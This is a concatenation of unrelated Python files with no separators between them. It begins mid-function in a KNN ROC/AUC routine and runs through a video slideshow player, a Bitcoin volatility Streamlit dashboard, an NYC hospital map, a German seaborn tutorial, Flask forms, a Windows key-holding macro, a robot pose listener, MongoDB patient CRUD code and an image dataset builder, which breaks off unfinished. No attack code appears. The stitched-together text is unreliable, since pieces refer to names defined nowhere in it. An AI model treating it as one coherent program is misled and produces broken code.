        for i in range(len(test)):
            predict.append(K_classify(test[i],datagroup,label,150,p))
        tp=0
        fp=0
        tn=0
        fn=0
        for j in range(len(test)):
            if predict[j]==truelabels[j]:
                if predict[j]==1:
                    tp+=1
                else:
                    tn+=1
            else:
                if predict[j]==1:
                    fp+=1
                else:
                    fn+=1
        fpr=fp/(fp+tn)
        tpr=tp/(tp+fn)
        print(fpr)
        AUC+=(a+tpr)*(b-fpr)/2#微元法算梯形面积求AUC
        a=tpr
        b=fpr
        TPR.append(tpr)
        FPR.append(fpr)
        del predict[:]
    plt.plot(FPR,TPR)
    plt.xlabel('FPR')
    plt.ylabel('TPR')
    plt.title('ROC曲线')
    plt.rcParams['font.sans-serif'] = ['SimHei']#显示中文
    plt.grid()#网格线
    x=[(n/10) for n in range(11)]
    y=[(n/10) for n in range(11)]
    plt.xticks(x)
    plt.yticks(y)
    print('AUC=',AUC)
    plt.show()


import cv2
import numpy as np

# np.set_printoptions(threshold=np.inf)
import time
from collections import deque
import threading

# Low Quality
# PAUSE_INDICATOR = (-1, 0)
# RESOLUTION = "480p15"
# FPS = 15

# Production quality
PAUSE_INDICATOR = (-1, 0)
RESOLUTION = "1440p60"
FPS = 60

cv2.namedWindow("Frame", 0);
cv2.resizeWindow("Frame", 2560, 1440)
cv2.namedWindow("Frame", cv2.WND_PROP_FULLSCREEN)
cv2.setWindowProperty("Frame",cv2.WND_PROP_FULLSCREEN,cv2.WINDOW_FULLSCREEN)

scenes = [
    "TitleScreen",
    "Outline",
    "Newton",
    "SchrodingerEquation",
    "HarmonicOscillator",
    "VMC",
    "WhatToGuess",
    "PsiDesign",
    "NewIdea",
    "NetworkDisplay",
    "QDResults",
    "HeliumResults",
    "Conclusions",
    "FutureProspects",
    "ThankYou",
]
scenes = [
    ("media/videos/presentation/{}/" + s + ".mp4").format(RESOLUTION) for s in scenes
]

class Manager:
    def __init__(self, scenes):
        self.scenes = scenes
        self.active_scene = cv2.VideoCapture(self.scenes[0])
        self.forward = deque()
        self.current_scene = 0
        self.frame = 0
        self.lock = threading.Lock()
        self.last_scene = len(scenes) - 1
        self.keep_running = True

    def stop(self):
        self.lock.acquire()
        self.keep_running = False
        self.active_scene.release()
        self.lock.release()

    def run(self):

        while self.keep_running:
            self.lock.acquire()
            if len(self.forward) >= FPS:
                self.lock.release()
                time.sleep(1 / FPS / 5)
                continue

            if not self.active_scene.isOpened():
                self.active_scene.release()
                self.current_scene = min(self.last_scene, self.current_scene + 1)
                self.active_scene = cv2.VideoCapture(self.scenes[self.current_scene])

            if self.active_scene.isOpened():
                ret, frame = self.active_scene.read()
                if ret:
                    self.forward.append(frame)
                else:
                    self.active_scene.release()
                    self.current_scene = min(self.last_scene, self.current_scene + 1)
                    self.active_scene = cv2.VideoCapture(
                        self.scenes[self.current_scene]
                    )

            self.lock.release()

    def next_frame(self):
        self.lock.acquire()
        frame = self.forward.popleft() if self.forward else None
        self.lock.release()
        return frame

    def play(self):

        paused = False
        indicator_present = False
        t0 = 0
        while True:
            t1 = time.time()
            wait_time = max(1, int(900 * (1 / FPS - (t1 - t0)))) * int(not paused)
            key = cv2.waitKey(wait_time) & 0xFF
            if key == ord("q"):
                self.stop()
                break
            elif key == ord(" "):
                paused = not paused
                continue
            elif key == 83:
                for _ in range(FPS // 2):
                    frame = self.next_frame()
                if frame is not None:
                    cv2.imshow("Frame", frame)
            elif key == 81:
                self.active_scene.release()
                self.current_scene = max(0, self.current_scene - 1)
                self.active_scene = cv2.VideoCapture(self.scenes[self.current_scene])
                paused = False
            elif key == ord('n'):
                self.active_scene.release()
                self.current_scene = min(self.last_scene, self.current_scene + 1)
                self.active_scene = cv2.VideoCapture(self.scenes[self.current_scene])
                paused = False
            elif key != 0xFF:
                print("\rUnknown key pressed:", key)

            print(f"{1 / (t1 - t0):.2f}", end="\r")
            if not paused:
                frame = self.next_frame()
                if frame is not None:
                    ind_pres = (
                        frame[PAUSE_INDICATOR][0] == 0
                        and frame[PAUSE_INDICATOR][1] == 0
                        and frame[PAUSE_INDICATOR][2] >= 224
                    )
                    if indicator_present and not ind_pres:
                        paused = True

                    indicator_present = ind_pres
                    cv2.imshow("Frame", frame)
                    t0 = t1

if __name__ == "__main__":
    manager = Manager(scenes)

    load_thread = threading.Thread(target=manager.run)
    load_thread.start()
    manager.play()
    cv2.destroyAllWindows()

# i = 0
# paused = False
# direction = 1
# prev, prev_stop_frame, t0 = 0, 0, 0
# while True:
#     frame = frames[i]
#     cv2.imshow("Frame", frame)

#     delta = time.time() - t0
#     wait_time = max(1, int(1000 * (1 / FPS - delta))) * int(not paused)
#     key = cv2.waitKey(wait_time) & 0xFF

#     if key == ord(" "):
#         paused = not paused
#         prev_stop_frame = i
#     elif key == 81:
#         i = max(0, i - FPS // 2)
#     elif key == 85:
#         i = min(len(frames - 1), i + FPS // 2)
#     elif key == ord("q"):
#         break
#     elif key == ord("h"):
#         direction = -1
#     elif key == ord("l"):
#         direction = 1
#     elif (
#         not paused
#         and abs(i - prev_stop_frame) > FPS_SOURCE / 2
#         and np.all(frame == prev)
#         and False
#     ):
#         paused = True
#         prev_stop_frame = i

#     prev = frame
#     t0 = time.time()
#     i = max(0, min(len(frames) - 1, i + direction))


import streamlit as st
import pandas_ta as ta
import pandas as pd
import yfinance as yf
import pandas as pd; import numpy as np

st.title("Volatility Dashboard")
st.sidebar.title("selection")
option = st.sidebar.selectbox("options",('long signal', 'short signal', 'data frame', 'Important dates', 'implinks'))
st.subheader(option)

df = yf.download('BTC-USD', period='6mo', interval='1h')
df = df.reset_index()
# Step: Change data type of Date to Datetime
df = df.rename(columns={'index': 'Date'})
df['Volatility Open'] = df['Open'].rolling(window=10).std()
df['Volatility High'] = df['High'].rolling(window=10).std()
df['Volatility Low'] = df['Low'].rolling(window=10).std()
df['Volatility Close'] = df['Close'].rolling(window=10).std()

newdf=df[['Datetime','Volatility Open','Volatility High','Volatility Low','Volatility Close']]
newdf=newdf.set_index('Datetime')
newdf=newdf.dropna()

newdf = newdf.rename_axis('Date')
newdf.index = pd.to_datetime(newdf.index)
newdf.index = newdf.index.tz_localize(None)
f = pd.read_csv('https://raw.githubusercontent.com/suparn2304/volatility-dashboard/main/vol1%20harmonic.csv', index_col=0)
f = f.rename_axis('Date')
f.index = pd.to_datetime(f.index)
f = f.rename(columns={'0.0000000': 'forier'})

new_dates = pd.date_range(start=newdf.index.min(), end='2023-05-23 10:00:00', freq='1h')
updated_index = newdf.index.append(new_dates)
newdf = newdf[~newdf.index.duplicated(keep='first')]
newdf = newdf.reindex(updated_index)
newdf.index = pd.to_datetime(newdf.index)

merged_df = pd.merge(newdf, f, how='left', left_index=True, right_index=True)
merged_df.index = pd.to_datetime(merged_df.index, infer_datetime_format=True)
merged_df = merged_df.rename(columns={'Volatility Open': 'Open', 'Volatility Close': 'Close', 'Volatility High': 'High', 'Volatility Low': 'Low'})
merged_df = merged_df.fillna(method='ffill')
merged_df = merged_df[~merged_df.index.duplicated(keep='first')]
merged_df['fut1'] = merged_df['forier'].shift(-1)
merged_df['fut2'] = merged_df['forier'].shift(-2)
merged_df['fut3'] = merged_df['forier'].shift(-3)
merged_df['fut4'] = merged_df['forier'].shift(-4)
merged_df['fut5'] = merged_df['forier'].shift(-5)
merged_df['zscore'] = ta.zscore(merged_df['Close'], length=20, std=1)
merged_df = merged_df.rename_axis('Date')
merged_df['forier_plot'] = merged_df['forier']*100
merged_df['fut1'] = merged_df['forier'].shift(-1)
merged_df['fut2'] = merged_df['forier'].shift(-2)
merged_df['fut3'] = merged_df['forier'].shift(-3)
merged_df['fut4'] = merged_df['forier'].shift(-4)
merged_df['fut5'] = merged_df['forier'].shift(-5)

entry_points = pd.DataFrame(columns=['Date', 'Entry_Price'])

# Set the threshold for the z-score
zscore_threshold = -0.7999

# Loop through the rows in the DataFrame
for i in range(len(merged_df)):
    # Check if the conditions are met for entering a trade
    if (merged_df.iloc[i].fut3 > merged_df.iloc[i].fut2 > merged_df.iloc[i].fut1) and \
            (merged_df.iloc[i].zscore > zscore_threshold) and \
            (merged_df.iloc[i-1].zscore < zscore_threshold):
        # Record the entry point
        entry_points = entry_points.append({'Date': merged_df.iloc[i].name,
                                             'Entry_Price': merged_df.iloc[i].Close},
                                             ignore_index=True)

ohlc_df = pd.DataFrame()
ohlc_df.index = merged_df.index
ohlc_df['Open'] = merged_df['Open']
ohlc_df['High'] = merged_df['High']
ohlc_df['Low'] = merged_df['Low']
ohlc_df['Close'] = merged_df['Close']

if option == 'data frame':
    st.dataframe(ohlc_df)

df_callendar = pd.read_csv('https://raw.githubusercontent.com/suparn2304/volatility-dashboard/main/calendar-event-list.csv', index_col=0)
df_callendar.index = pd.to_datetime(df_callendar.index)
calllendar_df = pd.merge(ohlc_df, df_callendar, how='left', left_index=True, right_index=True)
calllendar_df = calllendar_df.dropna()

if option == 'Important dates':
    st.dataframe(df_callendar)

import plotly.graph_objects as go
fig =  go.Figure(data= [go. Candlestick (
                 x = ohlc_df.index,
                 open = ohlc_df.Open,
                 high = ohlc_df.High,
                 low = ohlc_df.Low,
                 close = ohlc_df.Close
)])

fig.add_trace(go.Scatter(
                x=entry_points.Date,
                y=entry_points.Entry_Price,
                mode= "markers",
                marker_symbol="diamond-dot",
                marker_size = 13,
                marker_line_width = 2,
                marker_line_color= "rgba(0, 0, 0, 0.7)",
                marker_color="rgba(0,255,0,0.7)",
))

fig.add_trace(go.Scatter(
                x=calllendar_df.index,
                y=calllendar_df.Close,
                mode= "markers",
                marker_symbol="x",
                marker_size = 10,
                marker_line_width = 2,
                marker_line_color= "rgba(0, 0, 0, 0.7)",
                marker_color="rgba(205, 13, 0, 1)",
))

fig.update_layout (xaxis_rangeslider_visible=False)

if option == 'long signal':
    st.plotly_chart(fig)
    st.dataframe(entry_points)

entry_points_short = pd.DataFrame(columns=['Date', 'Entry_Price'])

# Set the threshold for the z-score
zscore_threshold = 0.7999

# Loop through the rows in the DataFrame
for i in range(len(merged_df)):
    # Check if the conditions are met for entering a trade
    if (merged_df.iloc[i].fut3 < merged_df.iloc[i].fut2 < merged_df.iloc[i].fut1) and \
            (merged_df.iloc[i].zscore < zscore_threshold) and \
            (merged_df.iloc[i-1].zscore > zscore_threshold):
        # Record the entry point
        entry_points_short = entry_points_short.append({'Date': merged_df.iloc[i].name,
                                             'Entry_Price': merged_df.iloc[i].Close},
                                             ignore_index=True)

import plotly.graph_objects as go
fig =  go.Figure(data= [go. Candlestick (
                 x = ohlc_df.index,
                 open = ohlc_df.Open,
                 high = ohlc_df.High,
                 low = ohlc_df.Low,
                 close = ohlc_df.Close
)])

fig.add_trace(go.Scatter(
                x=entry_points_short.Date,
                y=entry_points_short.Entry_Price,
                mode= "markers",
                marker_symbol="diamond-dot",
                marker_size = 10,
                marker_line_width = 2,
                marker_line_color= "rgba(0, 0, 0, 0.7)",
                marker_color="rgba(205, 13, 0, 1)",
))

fig.add_trace(go.Scatter(
                x=calllendar_df.index,
                y=calllendar_df.Close,
                mode= "markers",
                marker_symbol="x",
                marker_size = 10,
                marker_line_width = 2,
                marker_line_color= "rgba(0, 0, 0, 0.7)",
                marker_color="rgba(205, 13, 0, 1)",
))

fig.update_layout (xaxis_rangeslider_visible=False)
if option == 'short signal':
    st.plotly_chart(fig)
    st.dataframe(entry_points_short)

if option == 'implinks':
    st.write("gmx top trader account [link](https://www.gmx.house/arbitrum/account/0x48202a51c0d5d81b3ebed55016408a0e0a0afaae)")
    st.write("gmx top trader account 2 [link](https://www.gmx.house/arbitrum/account/0xe8c19db00287e3536075114b2576c70773e039bd)")
    st.write("bookmap [link](https://web.bookmap.com/?duration=10m)")
    st.write("tradinglite [link](https://www.tradinglite.com/)")


import pandas as pd
import numpy as np
import geopandas as gpd
import matplotlib.pyplot as plt
from scipy import ndimage
import geoplot

import matplotlib.pylab as pylab

# import geoplot as gp

from models import Simulation, NTAGraphNode, DiseaseModel

def read_hospital_data(filename):
    df = pd.read_csv(filename, sep=",", header=None, encoding="ISO-8859-1")
    # Remove extraneous commas/columns after last column
    df = df.drop([1, 2, 3, 4], axis=1)
    df.columns = [
        "name",
        "lat",
        "long",
        "bed_count",
    ]
    df["lat"] = df.lat.astype(float)
    df["long"] = df.long.astype(float)
    return df

def read_nta_data(filename):
    df = pd.read_csv(filename, sep=",", header=None, encoding="ISO-8859-1")
    # Remove extraneous commas/columns after last column
    df = df.loc[:, :6]
    # Rename columns to use for indexing
    df.columns = [
        "borough",
        "nta_code",
        "nta_name",
        "population",
        "lat",
        "long",
        "hospitalization_rate",
    ]
    df["lat"] = df.lat.astype(float)
    df["long"] = df.long.astype(float)
    df["hospitalization_rate"] = df.hospitalization_rate.astype(float)
    return df

def write_parsed_data(df, filename):
    with open(filename, "w") as f:
        for row in df.itertuples(index=False, name=None):
            f.write("{}\n".format(row))

def show_kdeplot(shape, gdf):
    ax = geoplot.polyplot(shape, projection=geoplot.crs.AlbersEqualArea(), zorder=1)
    geoplot.kdeplot(
        gdf,
        ax=ax,
        shade=True,
        cmap="Reds",
        n_levels=16,
        shade_lowest=True,
        clip=shape.simplify(0.001, preserve_topology=False),
    )
    geoplot.pointplot(gdf, ax=ax, color="blue")

    plt.show()

NTAs = read_nta_data("New York Pop NTA updated.csv")
hospitals = read_hospital_data("NYC Hospital Locations Filled.csv")
zipfile = "zip:///home/kevin/code/Comp-Epi-Project/shape/shapefile.zip"
shape = gpd.read_file(zipfile)

gdf = gpd.GeoDataFrame(
    hospitals,
    geometry=gpd.points_from_xy(hospitals["long"], hospitals["lat"]),
    crs="epsg:4326",
)

gdf2 = gpd.GeoDataFrame(
    NTAs, geometry=gpd.points_from_xy(NTAs["long"], NTAs["lat"]), crs="epsg:4326",
)
##################
# choropleth WIP #
##################
NTAs_d = dict(gdf2)
shape_d = dict(shape)
for i, ntacode in NTAs_d["nta_code"].items():
    indexes = [k for k, v in shape_d["ntacode"].items() if ntacode == v]
    if indexes:
        assert len(indexes) == 1
        index = indexes.pop()
        NTAs_d["geometry"][i] = shape_d["geometry"][index]
    else:
        print(ntacode, shape_d["ntaname"][i])

new_NTAs = pd.DataFrame(NTAs_d)

gdf3 = gpd.GeoDataFrame(new_NTAs, geometry=new_NTAs.geometry)
print(gdf3.head(100))

# show_kdeplot(shape, gdf)

geoplot.choropleth(
    gdf3,
    projection=geoplot.crs.AlbersEqualArea(),
    hue="hospitalization_rate",
    cmap="Greens",
    legend=True,
    edgecolor="black",
    linewidth=1,
)

plt.show()


import seaborn as sns
import matplotlib.pyplot as plt
#%matplotlib inline
tips = sns.load_dataset('tips')
fluege = sns.load_dataset('flights')

###Matrixplots###

#Heatmap
#Damit die Heatmap gut funktioniert sollten eure Daten bereits in Matrixform vorliegen. Die sns.heatmatp() übernimmt dann die Einfärbung dieser Daten

# Matrix der Korrelationsdaten
tips.corr() #corr Funktion erkennt automatisch numerische Spalten & lässt kategorische Spalten weg.

sns.heatmap(tips.corr()) #Ausführen der Heatmap aufgrun der Korrelationsverteilung
plt.show()

sns.heatmap(tips.corr(),cmap='coolwarm',annot=True) # cmap: Farbvariante, annot: Korrelationswerte in dem Kästschen
plt.show()

#Erstellung einer Pivottabelle für die Darstellung der Daten in Jahre
pvfluege = fluege.pivot_table(values='passengers',index='month',columns='year') #values: Anzahl der der Passagiere; Index: sind die Zeilen, columns: sind die Spalten

sns.heatmap(pvfluege,cmap='magma',linecolor='white',linewidths=1) # linecolor: lässt eine Unterteilung zu; linewidths: gibt die Linienstärke wieder.
plt.show()

#Clustermap: welche Kategorien(z.B. Monate an dene geflogen werden) liegen beieiander

sns.clustermap(pvfluege,cmap='coolwarm',standard_scale=1) # standard_scale: Dimension für die Zeile oder für die Spalte standardisieren möchten (Subtrahieren von jedem Wert durch Minimum und anschließend Division jedes Wertes durch Maximum
plt.show()                                                # Für Standardisierung von Zeilen  0 und für Spalten 1.

#Regressionsplots:

sns.lmplot(x="total_bill",y="tip", data=tips) # Vergleich von Bill mit Tip bzgl. Korrelation
plt.show()

sns.lmplot(x='total_bill',y='tip',data=tips,hue='sex',palette='coolwarm',#hue: Trennung von kategorischen Parameter
            markers=['o','v'], #Veränderung der Symbole
            scatter_kws={'s':100}) #scatter_kws: Definition von der Göße der Symbole
plt.show()

sns.lmplot(x='total_bill',y='tip',data=tips, row='time', col='sex') #über row & col können multiple Korrelationsgrafiken erstellt werden.
plt.show()


from flask_wtf import Form
from wtforms import StringField, TextAreaField, SelectField
from wtforms import SubmitField, validators
# from wtforms.ext.sqlalchemy.fields import QuerySelectField
from ..models import Department, Service

class RequestForm(Form):
    '''This class creates an RequestForm
    object.
    '''

    name = StringField('Request',
                       [validators.Required(message='We need an Request.'),
                        validators.Length(
                           max=70,
                           message='Your \subject is a tad long.'
                       )
                       ]
                       )
    description = TextAreaField('Request Description',
                                [validators.required(
                                    message='Please describe your Request.')])
    priority = SelectField('Priority', choices=[
        ('high', 'High'), ('medium', 'Medium'), ('low', 'Low')])
    department = SelectField('Department',
                             [validators.Required(
                                 message='Department required.')],
                             coerce=int)
    service = SelectField('Service',
                             [validators.Required(
                                 message='Service required.')],
                             coerce=int)
    submit = SubmitField('Post Request')

    def __init__(self, *args, **kwargs):
        super(RequestForm, self).__init__(*args, **kwargs)
        self.department.choices = [
            (dept.id, dept.name) for dept in Department.query.all()]
        self.service.choices = [
            (service.id, service.name) for service in Service.query.all()]

class CommentForm(Form):
  '''This class creates a CommentForm
  object
  '''
  comment = TextAreaField('Comment')


#
#
#       Key-Holding-Macro made by JngVedere
#       Github : https://github.com/JngVedere
#       version 0.1.0 - Released on 03-06-2023
#
#

from tkinter import messagebox, ttk
from tendo import singleton
try:
    singleton.SingleInstance()
except SystemExit as e:
    messagebox.showerror("ERROR", e)

import tkinter as tk
import pywinauto, XK_TO_DD
import threading
from time import sleep

try:
    from KeyHolding import KeyToWindow, getKeyPressing
    from KeyHolding import wnd_check_thread

except SystemExit as e:
    messagebox.showerror("ERROR",e)
    exit(0)

# // Global variables
root:object = tk.Tk()
app:object
app_title:str = "Key Holding Macro"
app_size:tuple = (350,170)
window_info:str = ""
simplified:bool = True

# // GUI
class MainApp:

    def __init__(self, master):
        global simplified

        # Basic Variables
        self.master = master
        self.key_pressed = False
        self.key_to_send = -1

        #Frame
        self.master.title(app_title)
        self.X = int(self.master.winfo_screenwidth()/2 - app_size[0]/2)
        self.Y = int(self.master.winfo_screenheight()/2 - app_size[1]/2)
        self.master.wm_geometry(f"{app_size[0]}x{app_size[1]}+{self.X}+{self.Y}")
        self.master.minsize(250, 150)
        self.master.maxsize(700, 220)
        self.master.resizable(True,False)
        self.master.bind("<Key>", self.key_press)

        self.upper_frame = tk.Frame(width=100, relief="sunken",bd=1)
        self.upper_frame.pack(side="top",fill="both",padx=5,ipadx=2,pady=5,ipady=2)
        self.lower_frame = tk.Frame(width=100, height=110, relief="sunken",bd=1)
        self.lower_frame.pack(side="bottom",fill="both",padx=5,ipadx=2,pady=5,ipady=2,expand=True)

        self.window_combobox = ttk.Combobox(self.upper_frame, width = 40, postcommand = lambda:self.update_cb_list(simplified), state='readonly')
        self.window_combobox.set("Pick a Window")
        self.window_combobox.pack(fill="x",padx=3,pady=3,side="top")
        self.window_combobox.bind("<<ComboboxSelected>>",self.window_selected)

        self.check_var = tk.BooleanVar(value=True)
        self.simplified_checkbutton = tk.Checkbutton(self.upper_frame, text='Simplified Window', variable=self.check_var, onvalue=True, offvalue=False, command=self.on_check_button_click)
        # self.simplified_checkbutton.bind("<ButtonRelease-1>",self.on_check_button_click)
        self.simplified_checkbutton.pack(pady=2)
        print(self.check_var.get())

        self.show_key = tk.Label(self.lower_frame, text="<Press any key to hold>", bg='gray19', fg='snow')
        self.show_key.pack(pady=5)

        self.send_button = tk.Button(self.lower_frame, text="Hold Key", command=self.button_pressed, takefocus=False)
        self.send_button.pack(pady=3)

        self.ro_textbox = ttk.Label(self.lower_frame, text='',border=1,font=("Calibri",12,"bold"))
        self.ro_textbox.pack(side="bottom")

    def update_cb_list(self, simplified):
        print("updt cb list", simplified)
        if simplified == True: # Find window by window name
            self.temp_list = pywinauto.Desktop(backend='uia').windows(title_re ='.')
            self.values_list = [w.window_text() for w in self.temp_list]

        else: # Find window by hwnd
            self.values_list = []
            self.hwnd_list = []
            procs = pywinauto.findwindows.find_elements()
            for proc in procs:
                self.hwnd_list.append(proc.handle)
                self.values_list.append((proc.name,proc.class_name))

        self.window_combobox['value'] = self.values_list

    def on_check_button_click(self):
        def update_check_var(): #To Avoid Firing two functional works
            print("Button Clicked")
            global simplified
            simplified = self.check_var.get()
            self.window_combobox.set("Pick a Window")
            print(self.check_var.get())

        self.master.after(30, update_check_var)

    def window_selected(self, event):
        global window_info
        if simplified == True:
            window_info = self.window_combobox.get()
        elif simplified == False:
            window_info = self.hwnd_list[self.window_combobox.current()]

    def key_press(self, event):
        if self.key_pressed == False:
            self.show_key.config(text=event.keysym)
            self.key_to_send = XK_TO_DD.XK_TO_DD[str(event.keycode)]
            print(repr(event.char), repr(event.keysym), repr(event.keycode), repr(event.keysym_num))

    def button_pressed(self):
        global window_info

        if self.window_combobox.current() == -1:
            messagebox.showerror("ERROR", "Window isn't selected")
            return

        elif self.key_to_send == -1:
            messagebox.showerror("ERROR", "Key isn't selected")
            return

        if not KeyToWindow.is_valid_window_info(window_info): return
        print(window_info)

        if not self.key_pressed:
            self.activate_button()

        else:
            self.deactivate_button()

    def SafeQuit(self, master:object = root) -> None:
        if messagebox.askokcancel(f"{app_title} Quit", f"Are you sure that you want to quit {app_title}?"):
            if getKeyPressing() == True:
                KeyToWindow.send_key_to_window(window_info, self.key_to_send, key_down=False)
                print("Events Listening is stopped!")
            master.destroy()

    def is_input_activating(self):

        if getKeyPressing() == True:
            self.ro_textbox.config(text='Activating')
        else:
            self.ro_textbox.config(text='Not Activating')

        self.is_hwnd_available()

    def is_hwnd_available(self):
        global window_info

        if not KeyToWindow.is_valid_window_info(window_info):
            self.deactivate_button()

    def activate_button(self):
        global window_info

        KeyToWindow.send_key_to_window(window_info, self.key_to_send, key_down=True)
        self.key_pressed = True
        wnd_check_thread.resume()
        key_check_thread.resume()
        self.window_combobox.config(state='disabled')
        self.simplified_checkbutton.config(state='disabled')
        self.ro_textbox.config(text='')
        self.send_button.config(text="Release Key")

    def deactivate_button(self):
        global window_info

        KeyToWindow.send_key_to_window(window_info, self.key_to_send, key_down=False)
        self.key_pressed = False
        wnd_check_thread.pause()
        key_check_thread.pause()
        self.window_combobox.config(state='normal')
        self.simplified_checkbutton.config(state='normal')
        self.ro_textbox.config(text='')
        self.send_button.config(text="Hold Key")

#// Logics Threading
class MyThread(threading.Thread):
    def __init__(self):
        super().__init__()
        self.pause_event = threading.Event()
        self.pause_event.clear()
        self.daemon = True

    def run(self):
        # while not self.pause_event.is_set():
        while True:
            self.pause_event.wait()
            app.is_input_activating()
            # Wait for a short time before checking again
            sleep(0.1)

    def pause(self):
        self.pause_event.clear()

    def resume(self):
        self.pause_event.set()

if __name__ == "__main__":
    app = MainApp(root)
    key_check_thread = MyThread()
    key_check_thread.start()
    root.protocol("WM_DELETE_WINDOW", app.SafeQuit)
    root.mainloop()


from director import lcmUtils
from director import transformUtils
import PythonQt
import bot_core as lcmbotcore
from director.simpletimer import SimpleTimer

import numpy as np

class StateListener(object):

    def __init__(self):
        self.subscriber = None
        self.transforms = []
        self.timer = SimpleTimer()
        self.paused = True

    def onBDIPose(self, m):
        t = transformUtils.transformFromPose(m.pos, m.orientation)
        if self.timer.elapsed() > 1.0:
            self.transforms.append((self.timer.now(), t))
            self.timer.reset()

    def describe(self):

        print('----------')
        print('%d transforms' % len(self.transforms))
        if not self.transforms:
            return

        time0, transform0 = self.transforms[0]
        o0 = np.array(transform0.GetOrientation())
        p0 = np.array(transform0.GetPosition())
        for timeN, transformN in self.transforms:
            oN = np.array(transformN.GetOrientation())
            pN = np.array(transformN.GetPosition())
            oD = oN - o0
            pD = pN - p0
            print('%.2f: [%.3f, %.3f, %.3f]  [%.3f, %.3f, %.3f]  ' % ((timeN - time0), oD[0], oD[1], oD[2], pD[0], pD[1], pD[2]))

    def init(self):
        self.subscriber = lcmUtils.addSubscriber('POSE_BODY', lcmbotcore.pose_t, self.onBDIPose)

listener = StateListener()
listener.init()


# helper functions

def format_show_info(show):
    empty_placeholder = "—"
    star_emoji = "★"
    empty_star_emoji = "☆"

    text = "_{name} ({start} - {end})_\
            \nRating: {rating}\
            \nGenres: _{genres}_\
            \nRuntime: _{runtime}_\
            \nStatus: _{status}_"

    name = getattr(show, "name", None)
    start = getattr(show, "premiered", None)
    end = getattr(getattr(show, "previous_episode", None), "airdate", None)
    rating = getattr(show, "rating", {}).get("average")
    genres = getattr(show, "genres", None)
    runtime = getattr(show, "runtime", None)
    status = getattr(show, "status", None)

    # some of these could've been done with the getattr call
    # but None is an acceptable return value for gettattr

    name = name if name else empty_placeholder
    start = start[:4] if start else ""
    genres = ", ".join(genres) if genres else empty_placeholder
    runtime = str(runtime) + " minutes" if runtime else empty_placeholder
    status = status if status else empty_placeholder

    # only show end if show has ended
    if status == "Ended":
        end = end[:4]
    else:
        end = ""

    # star rating out of five
    if rating:
        r = int(rating)//2
        rating = star_emoji * r + empty_star_emoji * (5-r)
    else:
        rating = empty_placeholder

    formatted_text = text.format(
            name=name,
            start=start,
            end=end,
            rating=rating,
            genres=genres,
            runtime=runtime,
            status=status
            )

    return formatted_text


from models import db
from flask import Flask, request, jsonify
from bson.json_util import dumps

def getPacientes():
    con = db.get_connection()
    dbejercicios = con.ModeloEjercicios
    try:
        pacientes = dbejercicios.pacientes
        retorno = dumps(pacientes.find({}))
        return jsonify(retorno)
    finally:
        con.close()
        print('coneccion cerrada')

def getListPaciente(parametro='documento'):
    con = db.get_connection()
    dbejercicios = con.ModeloEjercicios

    try:
        pacientes = dbejercicios.pacientes
        retorno = list(pacientes.find({}))
        lista = [d[parametro] for d in retorno]
        return jsonify({'data': lista, 'status': 200})
    finally:
        con.close()
        print('coneccion cerrada')

def createPatient(data):
    con = db.get_connection()
    dbejercicios = con.ModeloEjercicios

    try:
        pacientes = dbejercicios.pacientes
        pacientes.insert(data)
        return jsonify({'message': 'paciente insertado', 'status': 200})
    except:
        return jsonify({'message': 'fallo en la insercion', 'status': 500})
    finally:
        con.close()
        print('coneccion cerrada')

def deletePatientDocument(documento):
    con = db.get_connection()
    dbejercicios = con.ModeloEjercicios

    try:
        pacientes = dbejercicios.pacientes
        pacientes.delete_many({'documento': documento})
        return jsonify({'message': 'paciente eliminado', 'status': 200})
    except:
        return jsonify({'message': 'fallo al eliminar paciente', 'status': 500})

    finally:
        con.close()
        print('coneccion cerrada')

def editarPaciente(data):

    con = db.get_connection()
    dbejercicios = con.ModeloEjercicios

    try:
        pacientes = dbejercicios.pacientes
        print(data['data'])
        pacientes.find_one_and_update({'documento': data['documento']}, {'$set': data['data']})
        return jsonify({'message': 'paciente editado', 'status': 200})
    except:
        return jsonify({'message': 'fallo al editar un paciente', 'status': 500})

    finally:
        con.close()
        print('coneccion cerrada')


import os
import csv
import numpy as np
import sys
from PIL import Image

class DataBuilder:
    def __init__(self, image_dir, label_file, output_dir,output_file, output_label_file, target_size):
        self.image_dir = image_dir
        self.label_file = label_file
        self.target_size = target_size
        self.filtered_labels = []
        self.output_file = output_file
        self.output_label_file = output_label_file
        self.output_dir = output_dir
        self.labels = []

    def filter_labels(self, labels_to_ignore):
        # Load the labels from the CSV file and filter out the labels to ignore
        with open(self.label_file, 'r') as file:
            reader = csv.reader(file)
            labels = [row for row in reader]

        self.filtered_labels = [label for label in labels if label[2] not in labels_to_ignore]

    def process_images(self):
        # Create output directory if it doesn't exist
        os.makedirs(self.output_dir, exist_ok=True)

        # Open the output CSV file
        with open(self.output_file, 'w', newline='') as csvfile:
            writer = csv.writer(csvfile)

            # Iterate through the images in the directory
            for image_file in os.listdir(self.image_dir):
                if image_file.endswith('.jpg') or image_file.endswith('.png'):
                    image_path = os.path.join(self.image_dir, image_file)
                    label = self.get_label(image_file)
                    if label != None:
                        self.labels.append(label)
                        # Load, resize, and convert the image to an array of target size and three channels
                        image = Image.open(image_path)
                        image = image.resize(self.target_size)
                        image_array = np.array(image.convert('RGB'))

                        # Flatten the image array and append the label
                        flattened_image = image_array.flatten()
                        #row = np.concatenate(([label], flattened_image))

                        # Write the row to the CSV file
                        writer.writerow(flattened_image)
        self.store_labels()

    def get_index(self, image_file):
        for i in range(len(self.filtered_labels)):
            if image_file in self.filtered_labels[i][1]:
                return i
        return None

    def get_label(self, image_file):
        # Extract the label from the image file name or file itself
        # and return the corresponding label
        #We should search for labels ("sad" or "happy") appearing in the image file path (exact match not needed)
        #If one of the labels is found, and the third column matches it (i.e. "sad or happy"), then we return the label (0 or 1)
        #If no label is found, we return None, which means the image should be ignored
        ind = self.get_index(image_file)
        if ind is None:
            print(f"Image {image_file} not found in labels")
            return None
        if 'sad' in self.filtered_labels[ind][1] and self.filtered_labels[ind][2] == 'sad':
            return 0
        elif 'happy' in self.filtered_labels[ind][1] and self.filtered_labels[ind][2] == 'happy':
            return 1
        else:
            print(f"Image {image_file} not found in labels")
            return None

    def store_labels(self):
        # Store the label in a separate file (e.g., CSV or text file)
        # Implement your own logic here based on your desired output format
        with open(self.output_label_file, 'w', newline='') as csvfile:
            writer = csv.writer(csvfile)
            for label in self.labels:
                writer.writerow(str(label))

# Example usage
builder = DataBuilder(
    image_dir='./images',
    label_file='./labels/labels.csv',
    output_dir='./output',
    output_file='./output/output.csv',
    output_label_file='./output/output_labels.csv',
    target_size=(64, 64)  # Example target size, adjust according to your needs
)

# Filter out labels to ignore
